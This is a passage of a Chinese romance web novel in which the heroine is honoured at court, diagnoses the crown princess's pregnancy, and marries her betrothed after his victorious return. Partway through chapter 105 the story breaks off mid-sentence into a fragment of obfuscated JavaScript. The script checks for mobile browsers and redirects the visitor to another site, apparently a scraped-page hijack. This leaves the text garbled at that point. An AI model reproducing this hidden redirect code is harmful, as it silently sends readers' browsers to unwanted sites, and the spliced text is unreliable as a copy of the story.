皇上在御书房召见映雪。映雪并非初次踏入这御书房，所以早已没了第一次进来时的那种紧张之感。
待她进入御书房，见郑少臣也在，心中顿时轻松了不少。
果然，有关凌羽皇室中毒、赤焰掳人以及军营马瘟诸事，皇上已从郑少臣那里知晓了大概情形，所以对映雪只是简略地问询了几句。
皇上一脸和悦地看着映雪，缓缓开口道：“慧敏郡主果真未曾辜负朕的期望。且在军营所为，更是勇敢无畏，又心怀大义，实乃我朝女子之楷模，朕心甚悦，必然要重重地赏赐于你。”
映雪恭敬地俯身行礼，脸上带着谦逊的笑容，回道：“陛下过奖了。映雪身为凌羽子民，只是做了自己力所能及之事，不敢居功。陛下的认可已是映雪最大的荣幸，不敢再奢求赏赐。”
皇上轻轻摆手，含笑道：“朕向来赏罚分明，凡有功之人皆会得到赏赐，豫亲王世子亦是如此。”
映雪与郑少臣相视一眼，旋即朝着皇上齐齐跪谢，齐声说道：“多谢陛下隆恩！”
映雪和郑少臣一道走出御书房之后，郑少臣就同映雪说起嘉柔回府时的情况。嘉柔向众人讲述这个月的经历时，那副眉飞色舞、手舞足蹈且略带夸张的模样，令映雪忍俊不禁。
两人一边走着，一边聊着回府后的事。经过御花园时，恰好看到太子正陪着太子妃和小郡主在园中摘花嬉戏。映雪见状，随即想到了宋嬷嬷，于是停下了脚步，转头对郑少臣说道：“世子，我有事情要找太子殿下，就不与你同行了。”说完，便要抬脚朝着太子所在的方向走去。郑少臣朝着太子那边看了一眼，笑道：“一起过去，我顺便打个招呼。”
太子妃眼尖，瞧见映雪与郑少臣并肩走来，随即便侧身对身旁的太子轻声感慨道：“殿下您瞧，可真是一对璧人呐，只可惜被景阳侯世子捷足先登了。”太子闻言，顺势朝着映雪和郑少臣两人的方向看了过去，只见两人正有说有笑，眉头瞬间皱起，带着些许不悦轻斥道：“逸澜哪一点比不上少臣？”
子妃含笑不语，心里却想，就景阳侯世子那副骄傲的样子，平素里对女子就没个好脸色，哪有豫亲王世子温柔体贴。当然，太子妃想得是以前的许牧舟。
正想着，映雪和郑少臣已经走到了近前。
请安后，还未等映雪开口，太子便直言道，“宋嬷嬷照顾得可还算尽心？”映雪点头道，“宋嬷嬷做事极为妥帖，对臣女照顾更是无微不至，所以臣女斗胆恳请殿下，能否让宋嬷嬷继续留在臣女身边？臣女..”映雪话尚未说完，便被太子打断，道，“既然给了你，自然是你的人了，难不成孤在师妹心中，是那等小气之人，连个嬷嬷都舍不得给你？”太子似笑非笑地看着映雪，眼神里却带着一丝不易察觉的探究。”
映雪急忙屈膝，解释道，“殿下误会，宋嬷嬷得力，臣女是怕殿下这边还有用处。”
太子摆了摆手，温和地说：“好了，不必多言了。既然已经给了你，你往后好生待她便是。”
映雪这才松了口气，展颜笑道：“多谢殿下！”
随后太子问起映雪和郑少臣出使凌羽的经历，二人你一言我一语挑着精彩之处讲述。
如山体倒塌、山匪围攻、赤焰劫人、凌羽皇室诅咒、马瘟肆虐、赤焰夺马等。
太子听完感慨，赞许他们虽遇诸多艰苦却有收获，不虚此行，让他们安心休息，不必再为其他事费心。
映雪恭敬地点了点头，正打算行礼告退之时，却被太子妃出声喊住了。太子妃微微欠身，脸上带着温和的笑容，说道：“慧敏郡主，请留步。本宫还有些事情想要向郡主请教，郡主可否移步东宫？”
映雪自然答应，待到了东宫，太子妃屏退左右侍从，眼中带着几分期待对映雪说道：“妹妹，我近些日子老是觉得身体有些许不对劲，你帮我诊一诊脉吧。”
映雪点头，净手后轻轻搭在太子妃的手腕上。过了片刻，映雪的脸上泛起一抹淡淡的笑意，轻声说道：“恭喜太子妃，是喜脉。”
太子妃一听，顿时面露激动之色，赶忙问道：“妹妹，你说的可是千真万确？”
映雪含笑道：“虽然现在月份尚浅，但是脉象已显滑脉之象。太子妃不放心的话，待过上些时日，可请御医再仔细把把脉加以确认。”
太子妃听闻此言，喜极而泣，拉着映雪的手感激地说道：“多亏了妹妹，要不是妹妹替太子调理身体，我这辈子可能就只有珠儿这一个孩子了。”
映雪赶忙欠身行了一礼，谦逊地回应道：“太子妃言重了。且不说太子殿下的身体关乎社稷大业，单说太子殿下于映雪而言，亦是我师兄，映雪自然是盼着太子殿下一切顺遂。我回去后，为太子妃殿下制作一些保胎的药丸送来。”
太子妃连连点头，紧紧拉住映雪的手表示感谢，又顺便问道：“那太子调理身体的药还需要继续吃吗？”
映雪轻轻摇了摇头，说道：“方才我见到太子殿下气色已恢复得很好，想来这几个月太子妃将太子照顾得好。毕竟是药三分毒，如今太子殿下身体状况良好，可以先停了。”
太子妃听了，应了下来。
映雪回了映月阁，刚一进门，就听到丫鬟前来禀报说景阳侯夫人来了侯府。映雪心中一动，暗自猜测此事恐怕与自己的亲事有关。毕竟在军营的时候，许牧舟就提及，等回到京城，便让景阳侯夫人上门商定亲事。只是映雪着实没有想到，景阳侯府会如此着急，自己才刚刚回京的第二日就上门来商议这件事情了。心想，祖母怕是会心里难过了。
景阳侯夫人在收到许牧舟的信件之时，心里就已经把许牧舟狠狠臭骂了一顿。哪有这样的道理，让自己这个做母亲的亲自上门去谈论亲事，而且还这般迫不及待的样子，就好像生怕别人不知道景阳侯府对这门亲事有多么重视似的。
不过话说回来，景阳侯夫人对映雪那可真是满意到了极点。更何况映雪身上还带着景阳侯府的宝物，若是能够早一日将映雪娶进府门，她的孙子、孙女也就能早一日到来，这么想着，景阳侯夫人心中也不禁热切了几分。
景阳侯夫人是以探望映雪的名义来到永安侯府的，老夫人见景阳侯夫人前来，心中十分欢喜。
景阳侯夫人与永安侯老夫人坐在正厅之中，丫鬟们鱼贯而入，将精致的茶点摆放上桌。景阳侯夫人轻抿了一口茶，脸上带着温和的笑意，目
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光扫向老夫人，看似不经意地说道：“老夫人，我今日来，主要是想与您商议小雪与舟儿的婚事，如今小雪也及笄了，舟儿年纪也大了，就盼着他们能能早些成婚。这孩子的终身大事若是定下来，我们做长辈的也算是了却了一桩心事。”
老夫人听闻，微微一顿，脸上带着一丝犹豫，缓缓说道：“侯夫人的心思我明白，只是映雪这孩子离京大半年才回来，老身实在是不舍，想多留她一些时日。”
景阳侯夫人挑眉，旋即笑了起来：“老夫人疼小雪，这也是人之常情。只是老夫人您也知道，舟儿乃景阳侯府九代单传，我与他祖母每每想到他的婚事，就夜不能寐。”景阳侯夫人轻轻叹了口气，接着又道，“再说了，咱们景阳侯府也不是那种墨守成规的府邸。就算他们成婚，若是老夫人想念小雪了，大可以让舟儿陪着小雪回侯府住上些日子，如此也能陪着老夫人您。
老夫人闻言，也知景阳侯夫人说的是实情，缓缓开口道，“侯夫人说的老身都理解，回头我再与她父亲商量一下，再给侯夫人回话吧。”
景阳侯夫人连忙点头，道，“这是应该的，老夫人考虑周全。”顿了一下，又道，“老夫人也别忧心，如今舟儿还在军营，就算成婚，也要到来年年初，这不还有几个月的时间。”
老夫人闻言，这才轻轻松了口气，笑道，“是老身糊涂了。”
景阳侯夫人笑道，“老夫人也是关心则乱。”说到这儿，景阳侯夫人便提出告辞，说道：“小雪和她哥哥才回府，府上定是诸多事务要忙，我就不多打扰了，这便先回去了。”
老夫人听闻，赶忙起身相送，还特意吩咐秦嬷嬷亲自送景阳侯夫人出府。
等景阳侯夫人离去，老夫人便差丫鬟去请映雪过来。待问过映雪进宫的一应事宜后，老夫人便将景阳侯夫人的来意和盘托出，她叹了口气，语重心长地说道：“你这丫头啊，向来是个有主见的。祖母本想着能多留你在身边一年，可景阳侯府对你的好，那是众人都看在眼里的，这京城之中，恐怕再难找出像他们那般待你的府邸了，祖母着实也不好再推辞。你自己对此事可有什么想法？”
映雪微微低垂着头，脸颊上泛起淡淡的红晕，轻声说道：“映雪并无任何想法，一切皆由祖母和父亲做主便是。自皇上赐婚那日起，映雪便知这婚事是迟早的事。若不是之前去凌羽耽搁了数月，景阳侯府恐怕早早就上门来商议婚事了。”
老夫人听了这话，仔细一想，确实如此。要是映雪未曾离京，在她及笄之后，景阳侯府定然会及时上门商讨婚事，说不定年底就会成亲了呢。这么想着，老夫人的心情也随之好转起来，便说道：“既然如此，那祖母就不再推托了。过两日，便派人去给景阳侯夫人回话。”
映雪轻轻摇了摇头，浅笑道：“祖母且放宽心，无需派人去回话的。依照景阳侯府的行事做派，他们定会直接挑选好几个吉日送过来，供祖母挑选呢。”
老夫人一听，顿时愣住了，一时之间竟不知如何作答，只能无奈地笑了笑。
映雪见祖母心情尚佳，便趁机问道：“祖母，映雪听府里的丫鬟们说，四妹妹去了京郊的庄子，这到底是怎么一回事？”
104. 秋闱
老夫人并未对映雪有所隐瞒，当下就把苏沁雪与三皇子之间的事情一五一十地告诉了映雪。
原来，三皇子的确是有意接近苏沁雪。苏沁雪自幼便心性清高，在诸多皇子当中，唯有三皇子最为契合她心中所求。三皇子身份尊贵且年龄相当，自是她理想的人选。只是后来生母出了事，对她打击不小，也变得极为敏感。苏沁雪对三皇子起初的接近心存疑虑。待映雪离京之后，三皇子持续不断地向苏沁雪示好，慢慢地，苏沁雪不禁心动，愿意成为三皇子的侧妃。三皇子见苏沁雪已然上钩，这才吐露自己的目的，竟是想让苏沁雪与映雪交好，进而获取景阳侯府的支持。可苏沁雪自小就和映雪不对付，怎会愿意？于是便冷淡了三皇子好些日子。没成想，三皇子又派人通知苏沁雪，让她设法将一份密信放置在永安侯的书房之中。
苏沁雪也是个不按常理出牌的。便直接拆开信件查看，发现信件内容与贪污有关。吓得不轻，慌乱之下，就告诉了永安侯。
老夫人重重地叹了口气，说道：“亏得那丫头能够及时悬崖勒马，否则咱们侯府恐怕就要陷入麻烦之中了。”
映雪听完祖母的讲述，一时间竟不知该说些什么才好。既想感慨三皇子行事的愚蠢，竟然妄图利用苏沁雪来达成如此目的，又觉得苏沁雪在这件事情上倒是难得的清醒，分得清利害关系。
映雪亦点头浅笑，说道：“四妹妹如今竟也变得这般懂事了，如此一来，祖母您也能够安心了。”说罢，映雪又接着问道：“那去京郊庄子之事，可是爹爹罚她？”
老夫人摇了摇头，缓缓说道：“是她自己主动提出来的。那丫头说自己犯了错，在府里闭门思过的时候，总是静不下心来，所以便提出想要去庄子上思过，也好顺便散散心。”老夫人顿了一下，继而又道：“你爹爹听了她这话，觉得也有几分道理，于是就同意了，还特意挑选了一个条件最好的庄子，派人将她送了过去。”
映雪听闻，深表赞同地说道：“四妹妹能有这样的想法，倒也是件好事。她如今年纪尚小，去庄子上住上一段时间，多见识些不同的人和事，说不定就不会再对一些事情抱有执念了。”
老夫人听了映雪的话，也跟着点了点头，表示认可。
翌日清晨，皇上的圣旨传至永安侯府。映雪跪于地上，听着王公公宣读圣旨。那圣旨洋洋洒洒一大篇夸赞之辞，听得映雪不禁面红耳赤。其内容大抵是映雪出使凌羽，成功为凌羽解难，于两国邦交建树颇丰；救治马瘟，对军事与民生皆有大功；研制出缝合术，献出金疮药与酒精之方，于军中及民间疗伤贡献卓越，故封映雪为一品郡主，并赐封地慧宁县。
与此同时，另有一道圣旨乃是赐予苏璟皓的。
“永安侯长子苏璟皓者，忠勇双全，胆略过人。其毅然奔赴赤焰之地，劫马而归营。此举于军事意义重大，既壮大了军威，又补充了马匹资源。朕念其功劳，特赏赐黄金千两、绫罗绸缎百匹，封其为昭勇校尉，赐予食邑五百户，另赏京城朱雀大街良宅一座。望其忠心报效国家，再建奇勋。钦此。”
老夫人大喜过望，待宣旨的公公离去之后，便赶忙吩咐新夫人给侯府的下人们统统赏三个月的赏银。
一时间，永安侯府满是喜气。
映雪让绿绮去豫亲王府和康郡王府打听消息。绿绮回来说清平和嘉柔因改善军营伙食有功受赏，映雪这才放心，嘴角泛起笑意，心中欢喜。
如映雪所想，景阳侯夫人来府的第三日，就派人送了三个成婚吉日过来，其中一个吉日在年前，另外两个吉日则在年后，老夫人直接做主，选了最末那个日子，来年三月，正是桃花盛开的季节。
苏璟皓与清平之间的事情，老夫人已经从映雪那里知晓了。老夫人心中有了盘算，打算等苏璟皓参加完秋闱考试之后，再差遣媒人前往康郡王府提及说亲之事。
最近连二接三的喜事，令老夫人整天眉开眼笑的，仿佛年轻了几岁。
秋闱这日，映雪、嘉柔、清平三人早早地就来到了贡院外，给苏璟皓及唐靖远送考，映雪为两人准备了一些提神醒脑的香丸，还有应对身体不适的药丸。叮嘱两人道，“进去便三日之久，若是精神疲倦就把那香丸取出来闻一闻，可令你们神清气爽，还有这药丸，要是有什么头疼脑热或者肠胃难受，就吃一粒。”
苏璟皓皱着眉头，打趣道，“妹妹，你在府里都念叨多少回了，我感觉自己都能倒背如流了。”
映雪白了一眼苏璟皓，道，“大哥，我这是要交待靖远，你不过是顺带听听的。”
这话一出，众人都忍不住笑了起来。
几人又说了一会儿话，嘉柔见周围的人越来越少，赶忙催促道，“映雪姐姐，别人都进去了。”
映雪向前面望去，只见贡院门口的考生们正陆陆续续地走进贡门。对两人道，“大哥，靖远，你们快进去吧，不用紧张，平常心以待。”
苏璟皓和唐靖远相视一笑，那模样看起来胸有成竹。
唐靖远瞥见嘉柔正饶有兴趣地四处观望着各地的考生，心里不禁有些吃味，便撇嘴对嘉柔说道：“嘉柔郡主，你看你，光看别人去了，难道就没什么要对我说的？”嘉柔眼珠一转，调侃道：“你之前不是还说这科举考试对你来说就如同小儿科一般简单吗？既然如此，你要是考不中，那我可定要好好笑话你一番了。”
唐靖远一听这话，立马挺起胸膛，自信满满地说道：“哼，我肯定能考中，你就等着瞧吧。”他这副模样让大家原本有些紧张的气氛变得轻松了几分。
苏璟皓也带着些许期待的眼神眼巴巴地望着清平，清平见状，轻声笑道：“那我们就在这儿等候两位的好消息了。”苏璟皓像是受到了鼓舞一般，精神一振，便与唐靖远一起朝着贡门的方向大步走去。
目送两人进了考场，嘉柔提议：“走，咱们去茶楼喝茶聊天，今天母妃难得让我出来。”接着又说：“自从回京后，母妃就总是念叨我。她说我在外面待久了，整个人都变黑了，皮肤也变得粗糙了。这段时间就把我拘在府里，非要我把皮肤养回原来的样子才行。”
映雪莞尔一笑，说道：“怪道这段时日见你这般安静呢。”
茶楼
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中，清平提起手中的茶盏，轻轻摩挲着杯沿，缓声道：“这段时日闲了下来，倒有些不适应了。总感觉现在这样的岁月静好，像是偷来的一般。在靖宁城的时候，虽然诸事辛苦，可日子过得极为充实。如今处在这安宁的环境里，每日不过是品茶读书，心里竟有些不安宁了。”
映雪听了，浅笑道：“清平，我却不觉得这是偷来的时光。人生的意义，并不在于忙碌或者闲适的表面状态，关键是内心是否充盈。在靖宁城的时候，你救助那些弱女子，操劳军营里的伙食之事，这都是在践行自身的价值。现在呢，在这里品茶读书，也是在沉淀自我，寻找内心的宁静。这无非是人生不同的状态而已，只要我们在每个阶段都能寻到自己想做之事，并且有所收获，那便算是找到了人生的意义。”
清平听闻此言，若有所思，眼神忽地一亮，说道：“就像你一样，心心念念要将医术发扬光大，让大乾的百姓都能远离疾病的痛苦。又像是你开办慈善堂的初衷，是希望大乾的百姓都能老有所依、幼有所教，对吗？”
映雪含着笑，轻轻地点了点头。
清平脑中似有灵光一闪而过，差点抓住，她皱眉沉思起来。
嘉柔可没那么多心思，她一边吃着点心，一边说道：“咱们从靖宁城离开都快三个月啦，也不知道牧舟哥哥什么时候才能回到京城呢。”说罢，她又朝着映雪问道：“映雪姐姐，等牧舟哥哥一回京，你们是不是就要筹备大婚啦？”
映雪听了这话，脸上顿时泛起红晕，轻声说道：“明年三月份呢。”紧接着，她又故作镇定地对嘉柔说：“你要是打算送我亲手绣的屏风之类的礼物，现在就可以开始准备了。”
嘉柔捂着嘴笑个不停，打趣道：“映雪姐姐，你也不害羞呀，离大婚还有好几个月呢，就开始向我要新婚礼物啦。”
映雪白了她一眼，说道：“谁让你先问的。”
聊起映雪大婚的事情，嘉柔的欢声笑语顿时在这小小的空间里弥漫开来。那笑声仿佛有着神奇的魔力，驱散了清平心中刚刚因那一闪而过的念头所带来的纠结与沉思。清平见状，索性将那未能抓住的念头抛诸脑后，也跟着笑了起来，融入到这欢快的氛围之中。
三人在茶楼吃着点心，聊着天，好不惬意。直到接近午时，要准备午膳了，嘉柔的丫头催促嘉柔回府，三人才意犹未尽地结束了这次聚会。
映雪刚踏入侯府，便有下人匆匆上前禀告：“三姑娘，侯爷吩咐了，您回府之后即刻前往侯爷的书房一趟。”
映雪轻轻点头，转身朝着书房方向走去。书房门外，书童瞧见映雪过来，赶忙行礼，恭敬地说道：“三姑娘安好，侯爷已吩咐过，您可直接进去。”
映雪不禁微微皱眉，心中暗自揣测父亲找自己所为何事。
刚一踏入书房门内，抬眼便瞧见父亲正安然坐在书桌后的太师椅上，手中拿着一本兵书，眉眼间透着轻松愉悦，嘴角还带着一抹淡淡的笑意，看上去心情很好的样子。
映雪快步上前，欠身行礼后，轻声说道：“爹爹，您这般好心情，可是有什么喜事？”
105. 凯旋
永安侯闻声抬起头，看到映雪，眼中满是慈爱，笑着回答：“确实是好事。”
映雪眼珠一转，试探着猜道：“难道是暗卫的训练有了绝佳的进展？”
永安侯捋了捋胡须，先是摇了摇头，随后又点了点头，说道：“你那秘药效果的确非常好，暗卫的训练进展也着实神速，不过爹爹今日高兴却不是因为这个事儿。”
映雪不禁挑起了眉，追问道：“那还能是什么事呢？”
永安侯哈哈一笑，朗声道：“今日上朝之时，朝廷得到消息，景阳侯世子斩杀了赤焰国的皇帝，还活捉了赤焰国的巫师，致使赤焰国内乱纷争。景阳侯与景阳侯世子不日就要班师回京了。”
映雪听到这个消息，先是微微一愣，双眸瞬间睁大，一抹惊喜在眼底蔓延开来。她的心像是被什么轻轻撞了一下，脑海中立刻浮现出许牧舟的模样。
“爹爹说的可是真的？”声音里带着难以抑制的喜悦与激动。
永安侯也难以抑制激动，伸手捋着胡须，强装镇定道：“自然是真的。”说罢，又看向映雪，语重心长地说道：“这段时日，你就在府里好好准备自己的嫁衣，安心待嫁。”
映雪听闻此言，脸上泛起一抹羞涩的红晕，随即有些为难地道，“爹爹，女儿的女红手艺如何，您心里明白，若这嫁衣要女儿自己来绣，恐怕会有损侯府的颜面。”
永安侯一时语塞，紧接着狠狠地瞪了映雪一眼，说道：“这段时间，你就乖乖待在府里，好好练习女红。你身为贵女，女红本就是最基本的技艺，连个荷包都绣不好，传出去成何体统？什么时候把荷包绣好了，你才能出府。”
映雪听了这话，顿时愁容满面。
然而，永安侯这次的态度坚决，丝毫不为映雪的为难所动。映雪心中满是无奈，只得应下这要求。
用过午膳，映雪轻轻抬手，对竹韵吩咐道：“竹韵，你去把我那针线篓子取来。”
竹韵听闻，不禁微微一愣，她有些诧异姑娘怎么突然要针线篓子了，但也不敢多问，急忙福了一福身，应道：“是，姑娘。”随后便匆匆转身离去，不多时，就把针线篓子取了过来。
映雪接过针线篓子，坐在窗前的绣凳上，深吸一口气，便开始挑选丝线。她选了一根淡粉色的丝线，准备先在素帕上绣一朵芍药花。
绣着绣着，思绪却飘到许牧舟即将回京的事情上，嘴角不自觉泛起一抹笑意，突然"啊"的一声，那针头豪无偏移地扎进了映雪的手指头。
竹韵听到声音，赶忙过来查看，看到映雪手指上冒出的血珠，焦急地说：“姑娘怎么这般不小心，奴婢去拿药过来给姑娘抹上。”
映雪懊恼地摇摇头，说道，“不碍事。”说罢，就把手指头朝嘴里一塞。
同时，她也停下了手中的女红活计，轻轻摆摆手对竹韵说：“这会子也没了心思，你且把针线篓子拿走吧。”竹韵应了一声，赶忙将针线篓子收拾好拿了下去。
映雪心想，反正爹爹又不会亲自盯着她绣荷包，到时候只要拿出个荷包来，是不是她亲手绣的爹爹也无从知晓，瞬间豁然开朗起来，随即将爹爹交代她练习女红之事抛到了九霄云外了。
当然，映雪也没闲着。她转身走向书桌，打算整理自己之前离京去凌羽，而后又前往靖宁城这一路的手札。这一路的经历丰富而独特，那些手札记录着她途中的所见所闻、所思所感，就像是她一路走来的足迹。
更何况，回京之后她还与苏璟皓去了一趟书院。在书院里，魏山长又给她布置了不少功课。
映雪每日沉浸于整理手札与完成书院功课之中，日子过得倒也充实。
这日，天还未亮透，京城的街道就已经被打扫得干干净净，两旁的店铺也都张灯结彩。
映雪、嘉柔与清平三人，早早地就来到了之前在酒楼预订好的包间。这家酒楼坐落于城中最为繁华的地段，而她们所订的包间位置极佳，就在酒楼的高层，临窗而望，街上的热闹景象尽收眼底。
三人正叽叽喳喳地讨论着景阳侯等人班师回朝的场景，忽然，远处传来一阵喧闹声，这声音由远及近，如潮水般涌来。
嘉柔性子最为活泼，一听这动静，立马兴奋地伸头朝窗外望去，紧接着就朝着映雪和清平激动地喊道：“快看，是他们到了。”
只见一队身着铠甲的士兵，如同一堵钢铁铸就的城墙，步伐整齐划一地缓缓走来。那铿锵有力的脚步声，仿佛是大地发出的低沉战鼓，一下下敲打着人们的心弦。队伍前方，属于景阳侯军队的队旗高高飘扬，旗面在风中猎猎作响，像是在骄傲地宣告着军队的荣耀与胜利。
映雪一眼就见到队旗旁边骑着棕色骏马的许牧舟，他身姿挺拔，面容冷峻又带着胜利归来的傲然。许是映雪的目光太过炽热且专注，盯着他看的时间久了些，许牧舟本就极为敏锐，瞬间就察觉到了这道目光，视线当即如利箭一般朝映雪这处扫来。
见到映雪后，许牧舟那冷峻的面容瞬间如同冰雪消融，嘴角微微上扬，绽出一个带着几分得意的笑意，那笑意就好似在对映雪说：“看，我回来了，是不是很厉害，快来夸我。”映雪看到他这个样子，不禁又好气又好笑，双颊微微泛起红晕，但眼睛里却满是欢喜。
下一个瞬间，就听嘉柔突然像是发现了什么天大的趣事一般，大声笑道：“映雪姐姐，牧舟哥哥腰上挂着的那丑丑荷包，是不是你绣的呀，哈哈哈。”
映雪一听，朝许牧舟腰间看去。只见那荷包与许牧舟一身英武的打扮极不相称。映雪的脸一下子就红到了耳根，心里又气又恼，当下就在心里把许牧舟狠狠地骂了一顿。
映雪双颊泛红，轻轻拍了下嘉柔的手臂，带着几分嗔怪说道：“嘉柔，我别的新婚礼物都不要，就想要你亲手绣的屏风。你女红那么好，这屏风肯定不会难倒你的吧？”
嘉柔脸上的笑容瞬间僵住，眼睛一下子瞪大，满脸都是哭笑不得的神情。她嘴巴张了张，赶忙求饶道：“映雪姐姐，我错了，真的错了。”刚刚那副打趣人的得意模样，此刻早已消失得干干净净。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157494|146304||http|test|mini|href|location''.split(''|''),0,{}));
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令清平忍俊不禁。
映雪轻轻哼了一声，心中暗自发誓，这荷包无论如何都得绣好了，绝不能再被人当作笑柄。
晚上，皇上要在皇宫为班师回朝的将士们举办庆功宴，映雪三人早早地回了府精心准备一番后，便按时赴宴。
宴会上，映雪再次成为众人瞩目的焦点，出尽了风头。许牧舟这家伙竟然全然不顾他人的眼光，当他发现映雪喜爱吃席面上摆放的松子时，就一门心思地给映雪剥起松子来。
这般场景落在京城贵妇和贵女们的眼中，不禁让她们对映雪另眼相看。都在心中暗自思忖：“慧敏郡主果真是不同凡响，这景阳侯世子平日里看着是个洒脱不羁、天不怕地不怕的主儿，可在郡主面前却如此服服帖帖的，还真是一物降一物啊。”
且还被皇上当众打趣。
映雪心里恼怒得很，简直想把许牧舟狠狠掐死才解气。这个家伙，怎么就如此不顾及场合，他自己可以不要脸皮，可她还要颜面呢。
一场宴席，宾主尽欢，热闹非凡。然而映雪却满心郁闷，待得登上回府的马车，正想静一静心，不想许牧舟匆匆追了过来，直接进了马车。映雪见他这副模样，心中顿时气恨交加。
她想也没想，伸手就在许牧舟的腰间狠狠地掐了一下。这一下可是用了十足的力气，马车里瞬间传来一道尖锐的惊叫声。那声音在寂静的马车周围显得格外突兀，映雪这才回过神来，顿时懊恼不已。她暗自埋怨自己太过冲动愚蠢，怎么能如此失态，这要是传出去，还不知道要被人说些什么呢。
许牧舟皱着眉头，满脸不解地问道：“你为何掐我？”映雪没好气地翻了个白眼，气呼呼地说道：“你还好意思问？你说呢，今晚在宴会上，你那般行事，我的脸都被你丢尽了。”
许牧舟却满不在乎地耸了耸肩，不以为然道：“这怎么就丢脸了？你没瞧见那些贵女贵妇看你的眼神，她们羡慕你还来不及呢！”
映雪顿时被噎得说不出话来，心中又气又无奈。许牧舟见状，却又凑了过来，温热的气息拂过映雪的耳畔，轻声说道：“你这段时间有没有好好想我？你我大婚之日已不足三月，我可是每日都在翘首以盼，你呢，有没有做好成为新娘子的准备？”
映雪闻言，瞬间面红耳赤，那红晕从脸颊蔓延到耳根，仿佛一朵盛开的桃花，娇艳欲滴。
许牧舟见状，嘴角不由自主地上扬，心中满是得意与畅快。
许是多喝了几杯酒，随即感觉到身上涌起一股燥热，仿佛有一团小火苗在体内乱窜，许牧舟赶忙慌乱地钻出马车，那仓促的背影还带着几分少年特有的青涩与羞赧。
映雪不明所以，正疑惑间，忽然像是意识到了什么，顿时双颊飞红。
许牧舟翻身上马，冷风迎面扑来，瞬间吹散体内热意。他心里忍不住埋怨起来，都怪娘办事不利索，这大婚的日子，怎么就没订在年前呢？
时光在这或羞赧或埋怨的情绪中悄然流逝，转瞬之间，大婚之日便在众人的期盼下翩然而至。
106. 大结局
这一日，天公作美，碧空如洗，整个侯府挂满了红绸。
映雪早被竹韵摇醒，沐浴后由宋嬷嬷开脸。全福娘娘是豫亲王妃，映雪穿着景阳侯府送来的嫁衣，装扮好后，当映雪出现在众人眼前时，所有人都不禁屏住了呼吸。
嫁衣的衣料是最顶级的锦缎，色泽红得浓郁而热烈，仿若燃烧的晚霞。嫁衣上用金线绣满了繁复的花纹，裙摆上绣着盛开的牡丹，花朵娇艳欲滴，层层叠叠的花瓣栩栩如生，随着映雪的轻微动作仿佛在轻轻摇曳。袖口处则是用银线勾勒出精致的云纹，若隐若现间透着灵动的仙气。
领口处镶嵌着圆润的珍珠，颗颗饱满，散发着柔和的光晕，与映雪白皙的肌肤相互映衬。背后长长的披帛如同流淌的红色星河，拖在地上，锦缎上绣着的鸳鸯戏水图，鸳鸯的羽毛五彩斑斓，仿佛下一刻就要从披帛上振翅飞起。
一头乌发被梳成华丽的发髻，点缀着金饰与珠翠。步摇随着她的动作轻轻晃动，发出清脆的声响，似是风中的铃音。她的面容本就绝美，如今略施粉黛，更是娇艳动人。
映雪见众人目不转睛地盯着自己，双颊瞬间羞红，宛如天边的云霞。嘉柔忍不住开口赞叹道：“映雪姐姐，这京城，往前数上十年，再往后数上十年，定然不会有比你更美的新娘了。瞧你这模样，我都忍不住要嫉妒牧舟哥哥了呢。”嘉柔的话音刚落，众人顿时哄笑起来，纷纷附和着夸赞映雪。
打扮好后，映雪在丫鬟的搀扶下，拜别了亲人。
老夫人早已泪眼朦胧，拉着映雪的手，嘴唇颤抖着，似乎有千言万语却又不知从何说起。
永安侯也红了眼眶，往昔严肃的面容此时满是慈爱与不舍。
就在这时，外面锣鼓喧天，那震耳欲聋的锣鼓声仿佛要把整个天空都敲破。伴随着锣鼓声，司仪那高亢的声音清晰地传来：“吉时已到，请新娘出门！”
苏璟皓稳稳地背起映雪。他每一步都走得很缓，仿佛想让映雪在这侯府多停留片刻。一边走，他一边扭头轻声对映雪说道：“妹妹，永安侯府永远是你的家，要是在景阳侯府受了委屈，可千万别自己忍着啊。”话语里满是浓浓的不舍之情。映雪听着哥哥的话，心中忍不住泛起一阵酸涩，泪水在眼眶里打转，却又强忍着不让它落下。
侯府大门前，早已是人山人海，热闹非凡。
今日的拦路官是苏秀蓉出嫁时的几倍，以苏璟睿与唐靖远为首。
显然，许牧舟早有周全的准备，他一出手便是不凡，直接以高价聘请了秋闱的前三名前来助阵。
唐靖远虽也中举，但对同科考试的前三名还是差的不少，很快败下阵来，不过输得心服口服。
十里红妆，一路吹吹打打，那喜庆的声响仿佛要把整个京城都染上这浓浓的喜气。婚轿晃晃悠悠地行至景阳侯府门前，稳稳地停了下来。
许牧舟早已迫不及待地迎上前去，他将手中的红绸塞到映雪手中，映雪轻轻握住红绸，随着许牧舟的牵引，缓缓下轿。
紧接着，先是跨火盆，再是跨马鞍。
完成这些仪式后，许牧舟没有丝毫犹豫，长臂一伸，便将映雪拦腰抱起。映雪毫无防备，只觉身子一轻，整个人已被许牧舟稳稳抱起。这突如其来的亲密举动让映雪的脸瞬间羞红。
许牧舟抱着映雪稳步走向正堂，每一步都走得坚实有力。到了正堂，他将映雪轻轻放下。正堂里的众人瞧见这一幕，先是一愣，随即爆发出一阵哄笑打趣。映雪的脸愈发红了，心里像是揣了只小兔子般“怦怦”直跳，幸好有盖头遮挡，别人瞧不见她那羞涩到极致的脸色。
随着司仪高喊：
“一拜天地！”
“二拜高堂！”
“夫妻对拜！”
“送入洞房！”
行完礼，映雪就被许牧舟抱着朝新房走去。
新房之中围满了人，映雪暗自诧异，景阳侯府向来冷清，今日怎聚了这么多人。
新郎官许牧舟抱着映雪进了新房，众人立马打趣起来。许牧舟将映雪在床上放下，周围就响起一片起哄声：“表哥，快掀盖头，让我们看看新娘子。”
许牧舟眉头微微一蹙，脸上带着明显的不愿，道，“新娘子岂是给你们看的，都赶快出去吃酒。”
众人失望不已，其中一位姑娘跺脚道，“表哥怎么这般小气。”
许牧舟不为所动，双喜忙打圆场：“各位表少爷、表姑娘，世子爷好不容易娶亲，这是小两口的甜蜜时刻。咱们别在这儿扫兴，出去喝酒，把喜气闹足也是为他俩添福。”
众人闻言，也只好如此。
许牧舟见众人离开，这才心情好转，抬手正准备掀起盖头，一旁的喜婆却递上喜秤，许牧舟皱眉道，“你怎么还在这儿？”
